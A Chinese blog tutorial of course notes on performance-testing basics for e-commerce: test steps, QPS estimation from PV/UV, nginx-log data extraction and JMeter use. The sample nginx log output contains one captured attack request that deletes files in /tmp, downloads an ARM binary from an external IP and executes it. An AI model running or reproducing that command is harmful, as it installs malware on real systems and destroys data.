性能测试实战 | 电商业务的性能测试(一): 必备基础知识

news2024/11/15 4:39:23

本文为霍格沃兹测试学院优秀学员课程学习系列笔记,想一起系统进阶的同学文末加群交流。

1.1 测试步骤总览

需求分析与测试设计(性能需求目标+业务模型拆解)

测试数据准备和构造(基于模型的数据准备)

性能指标预期(性能需求目标)

发压工具配置及脚本编写(压力策略)

测试过程(预计的前置准备过程和压测时间点规划)

结果分析与测试报告

1.2 测试模型分析

如下的测试模型来简单的说明测试中需要关注的点和测试的目的

image1080×600 46.7 KB


字段说明

1、横轴 : 代表并发数,也就对应着Jmeter里面的线程数

2、Utizilation(U) :资源利用率

3、Throughput(X): 吞吐量,对应QPS或TPS

4、ResponseTime® :响应时间

拐点 分析:

第一条虚线处的拐点代表着随着并发数的增加,资源利用率(CPU资源等)和吞吐量也在伴随着递增, 这个时候我们的响应时间有小幅度的增加,但是在可接受的范围之内;在这个点是做容量规划最好的参考点

第二条虚线处的拐点表示随着并发数的继续增加,系统资源已经到达了瓶颈,吞吐量开始明显下降,响应时间会大幅增加,也就是说已经到达了性能的瓶颈,请求队列开始挤压,这个时候已经严重影响用户体验或者有系统崩溃的风险。


2.1 需求分析与测试设计

此处从性能需求目标与业务模型拆解两方面着手,

1、目标场景分类:

  • 新上线系统性能测试:要求容量测试,系统最大容量
  • 系统升级类性能测试:和基线版本对比,性能不下降
  • 新系统性能优化测试:伴随调优目标的性能测试

注:在后面的演示中,会以新系统上线的容量测试为例,目标为获取系统最大容量

字段说明:
基准测试:见下图,我的理解就是性能测试,找到最优的QPS(TPS)点

image1080×615 37.5 KB


容量测试 :见下图,我的理解为压力测试,在达到性能瓶颈后继续加压,测试系统的最大承载量

image1080×644 48 KB


新系统想要确定测试基准,就需要拿到数据,而产品一般是不会直接告诉我们QPS 的,产品会告诉我们 PV/UV 天。

根据 PV 、UV 再结合业务场景来计算确认我们的测试需求;将其转化为小时或分钟,或秒;另外业务场景可能会几种在某个时间段,比如工作日的8个小时时间:

UV :或者外卖产品则集中在午饭和晚饭的2个小时时间段,假如UV 为1000w/天,那么高峰时段占了总用户数的80%:

1000w * 80% / (4*3600) = 每秒的并发用户数

PV :PV 可以直接对应到QPS指标,好比一个电商产品,产品分别给出了首页、商品页、订单页的PV,便可依此来进行性能测试的基准设计。如果粗略的按24小时算QPS的话就是QPS = PV(天)/24/3600

2、根据具体的性能测试需求,确定测试类型以及压测的模块(web/mysql/redis/系统整体)

3、前期要与相关人员充分沟通,初步确定压测方案及具体性能指标

4、QA完成性能测试设计后,需产出测试方案文档发送邮件到项目组,并且再次与相关人员沟通(或者组织性能测试评审),确认是否满足需求

2.2、测试数据准备和构造

数据的准备可以如下几点:

1、接口请求参数:自己构造、日志获取、上下关联

  • 自己构造 :自己抓包等,这个有个问题就是后端可能有缓存而造成对实际压力程度的影响
  • 日志获取:推荐常用,通过日志或数据库获取大批量的数据然后打散

例如,我们的请求是通过Nginx转发的,那么可以通过Nginx的日志来获取请求数据,现有如下的log:

image1080×304 134 KB


现在我们可以利用Linux 三剑客中的awk 命令配合上排序的shell命令对log进行提取过滤,找出访问量最高的请求:

$ cat access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head -15
4709 /sso/register
4703 /sso/login
157 400
139 /
  8 http://www.baidu.com/cache/global/img/gs.gif
  5 /index.php
  4 mstshash=Administr"
  4 /license.txt
  4 ip.ws.126.net:443
  4 "
  2 /sso/getAuthCode?telephone=17138134641
  2 /sso/getAuthCode?telephone=17127460936
  2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7
  2 /robots.txt
  2 /phpmyadmin/
  • 上下关联:

有些数据我们是无法提前获取的,好比用户的订单数据和购物车数据,这些需要用户下单后生成,因此就需要在下单接口后通过上下关联的接口返回值来获取

2、数据表的数据填充 :

可以利用jmeter的高并发通过接口来提前创建数据

3、如果是多接口,则需要结合业务场景设计请求比例 :

比如用户浏览主页的PV和浏览商户的比例为1:2,那么接口的比例设计也就按照1:2来设计。

2.3、性能指标预期

  • 1.每秒请求数(QPS)
  • 2.请求响应时间(最大,最小,平均值)
  • 3.错误率
  • 4.机器性能:cpu idel30%,memory无剧烈抖动或飙升
  • 5.压测过程接口功能是否正常
  • 6.不同性能测试方式下指标预期是否有差异

2.4、发压工具配置及脚本编写

1.发压工具准备-jmeter简介
(1) 集成包,解压即可使用,Windowns, Linux, Mac通用(依赖Java环境)
(2) jmx文件为xml文件,Win,Linux环境均可运行
(3) 多线程并发
(4) 运行完脚本会生成jtl日志,可在Win、Mac环境界面中查看、统计

使用jmeter可以做到:

  • 压测场景 :单接口/复杂事物——>场景构造
  • 压力需求 :<1000QPS 或者万级以上的使用Jmeter 分布式支持的方式
  • 是否周期性 :Jmeter jmx场景文件,数据驱动,结果落库
  • 二次开发需求 :Jmeter开源插件化思想,支持Thrift
  • 协议支持 :Dubbo等多种协议,可以快速平台化
  • 问题支持 :开放社区,广泛使用

2.脚本编写

(1) HTTP

(2) 其他

3.命令启动,Jmeter 本身也是软件,也有自己的承载限制,所以真正测试过程还是要以命令行运行的方式,UI 可以作为编写和调试脚本使用

启压:./jmeter -n -t hb.jmx-l hb.jtl

2.5 测试过程

  • 1、测试前环境检查:记录机器参数
  • 2、起压:根据被压情况,调节并发量到合适情况
  • 3、查看记录各项性能指标
    • nginx 日志查看每秒请求数
    • 查看nginx 错误请求
    • 查看机器参数:cpu idel、mem 等
    • 查看db 、cache 等数据是否写入正常
    • 访问接口,查看功能是否正常

2.6 结果分析与测试报告

1、根据测试过程中记录的各项参数,结合压测工具产生的日志,对测试结果进行分析,并产出测试报告

2、测试完成后,及时与相关人员沟通,确认是都满足需求

3、发送测试报告邮件

以上只是做了个性能测试的基础知识铺垫,后续在此理论基础上,以电商业务为背景,结合 Docker +Jmeter +Influx +Grafana 完成一个实例压测与监控~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/171261.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue2 使用@vue/composition-api依赖包 编译、打包各种报错

vue2 使用vue/composition-api依赖包 编译、打包各种报错问题来源解决办法最近在维护以前&#xff08;大概一年前&#xff09;的项目时&#xff0c;遇到个这种问题&#xff1a; 项目本身是用 vue-cli 创建的 vue 2.x.xx 版本的项目&#xff0c;然后引入 vue/composition-api 依…

MIT6.830-2022-lab5实验思路详细讲解

文章目录前言一、实验背景二、实验正文Exercise 1 &#xff1a;SearchExercise 2 &#xff1a;Insert - Splitting PagesExercise 3 &#xff1a;Delete - Redistributing pagesExercise 4&#xff1a;Delete - Redistributing pages总结前言 Datebase中很重要的一部分就是ind…

【Java面试】SpringBoot篇

注&#xff1a;本文通篇将SpringBoot以sb代替。 文章目录Spring和SpringBoot的关系和区别&#xff1f;谈谈你对SpringBoot的理解&#xff0c;它有哪些特性&#xff1f;SpringBoot的核心注解说说你对SpringBoot自动配置的理解为什么SpringBoot的jar包可以直接运行&#xff1f;Sp…

uboot启动流程分析(基于i.m6ull)

一、uboot的makefile 1.1 makefile整体解析过程 为了生成u-boot.bin这个文件&#xff0c;首先要生成构成u-boot.bin的各个库文件、目标文件。为了各个库文件、目标文件就必须进入各个子目录执行其中的Makefile。由此&#xff0c;确定了整个编译的命令和顺序。 1.2 makefile整…

10.2 初始泛型算法

文章目录只读算法find()count()accumulate()equal()写容器元素算法fill()fill_n()back_inserter()copy()copy_backward()replace()replace_copy()next_permutation()prev_permutation()重排容器元素算法sort()unique()stable_sort()除了少数例外&#xff0c;标准库算法都对一个…

pandas数据聚合与分组运算

文章目录数据聚合与分组运算分组与聚合的原理通过groupby()方法将数据拆分成组按列名进行分组按Series对象进行分组按字典进行分组按函数进行分组数据聚合与分组运算 对数据集进行分组并对各组应用一个函数&#xff08;无论是聚合还是转换&#xff09;&#xff0c;通常是数据分…

哈佛结构和冯诺依曼结构?STM32属于哈佛结构还是冯诺依曼结构?

现代的CPU基本上归为冯诺伊曼结构&#xff08;也成普林斯顿结构&#xff09;和哈佛结构。 冯诺依曼体系 冯诺依曼体系结构图如下 冯诺依曼结构也称普林斯顿结构&#xff0c;是一种将程序指令存储器和数据存储器合并在一起的存储器结构。数据与指令都存储在同一存储区中&…

大数据技术架构(组件)5——Hive:流程剖析2

1.1.2、Stage division&#xff08;不够细致&#xff0c;需要例子&#xff09;Stage理解&#xff1a;结合对前面讲到的Hive对查询的一系列执行流程的理解&#xff0c;那么在一个查询任务中会有一个或者多个Stage.每个Stage之间可能存在依赖关系。没有依赖关系的Stage可以并行执…

IIS部署应用程序连接 LocalDB 数据库

使用.net core框架创建ASP.NET Core API应用程序&#xff0c;利用Entity Framework core实体进行MS LocalDB数据库进行连接操作&#xff08;增/删/改/查运行&#xff09;。 问题&#xff1a; 在Visual Studio 2022 开发工具可以正常运行 Web API 应用程序连接 LocalDB 数据库…

R语言基于poLCA包进行潜类别分析

潜在类别分析是一种分析多元分类数据的统计技术。当观测数据以一系列分类响应的形式出现时- -例如&#xff0c;在民意调查、个人层面的投票数据、人与人之间可靠性的研究或消费者行为和决策中- -通常感兴趣的是调查观测变量之间的混淆来源&#xff0c;识别和表征相似案例的集群…

初步了解高性能队列——Disruptor(Java)

高性能队列——Disruptor ① 概述 Disruptor是英国外汇交易公司LMAX开发的一个高性能队列&#xff0c;研发的初衷是解决内部的内存队列的延迟问题&#xff0c;而不是分布式队列。基于Disruptor开发的系统单线程能支撑每秒600万订单&#xff0c;2010年在QCon演讲后&#xff0c…

DevOps利器之二(Git,Gitlab)

一、背景Git&#xff0c;Gitlab在DevOps中主要解决持续集成源码管控部分&#xff0c;本文主要从基本概念&#xff0c;实施部署两部分介绍。二、git概述https://git-scm.com/book/zh/v2 --推荐官方电子书 Git - 它是一个源代码分布式版本控制系统&#xff0c;可让开发人员在本地…

行业分享:锂电池4大生产难题,视觉检测即可有效解决

导语&#xff1a;机器视觉检测已在锂电池生产的各个环节中&#xff0c;为产品产量与质量提供可靠保障。维视智造作为锂电池视觉检测系统提供商&#xff0c;为企业提供专业、系统、稳定的锂电行业解决方案&#xff0c;可保证0漏检&#xff0c;确保安全生产&#xff0c;全面提升生…

Java总结(运算符)

1.算数运算符short s12;s1s12; &#xff08;编译不能运行)short s12;s1 2 ; (编译能运行&#xff0c;不改变变量本身的数据类型)2.逻辑运算符区分&和&&相同点&#xff1a;运算结果相同&#xff1b;当符号左边是true时&#xff0c;两者都会执行符号右边的运算不同点…

医疗数据安全实力派 | 美创科技品牌案例入选《2022年医疗行业网络安全报告》

近日&#xff0c;网络安全产业机构“数说安全”正式发布《2022年医疗行业网络安全报告》&#xff08;以下简称“报告”&#xff09;。报告对我国医疗行业信息化现状和政策、医疗行业市场发展、医疗行业需求侧及供给侧进行深度剖析。美创科技作为专业数据安全代表厂商入选医疗网…

你应该知道的机器学习模型部署细节和实施步骤

机器学习操作 (MLOps&#xff0c;Machine Learning Operations ) 是“机器学习”和“工程”的组合&#xff0c;涵盖了与生产 ML 生命周期管理有关的所有内容。 ML模型生命周期可大致分为三个阶段 文章目录技术交流设计模型开发操作步骤1&#xff1a;确定部署环境命令行终端Cond…

Arduino开发ESP8266网页服务器控制LED灯

根据板卡原理RGB三色LED对应引脚&#xff1a;int LEDR12、int LEDG14、int LEDB13;设置串口波特率为115200Serial.begin(115200);源代码如下所示&#xff1a;3.1添加头文件#include <ESP8266WiFi.h> // 提供 Wi-Fi 功能的库#include <ESP8266WebServer.h> // 提供网…

Solidity 中的数学(第 3 部分:百分比和比例)

本文是关于在 Solidity 中进行数学运算的系列文章中的第三篇 。 这次的主题是&#xff1a;百分比和比例。 介绍 金融数学从百分比开始。y的x百分比是多少&#xff1f;y占x的多少百分比&#xff1f;我们都知道答案&#xff1a;y的x百分比是x y 100&#xff0c;y是y 10…

GPIO 应用

应用层如何控制 GPIO&#xff0c; 譬如控制 GPIO 输出高电平、或输出低电平。应用层如何操控 GPIO与 LED 设备一样&#xff0c; GPIO 同样也是通过 sysfs 方式进行操控&#xff0c;进入到/sys/class/gpio 目录下。可以看到该目录下包含两个文件 export、 unexport 以及 5 个 gp…

面试 | 百度测试开发岗位面试题目回顾

一面题目 二面题目 面试经历详情 在招聘网站投递简历后&#xff0c;收到面试通知信息&#xff08;如下图&#xff0c;为保护个人隐私&#xff0c;面试岗位、地点、时间等隐去&#xff09;。虽然写的是高级测试开发工程师&#xff0c;但是面试官说他们部门的测试不一定都要写框架…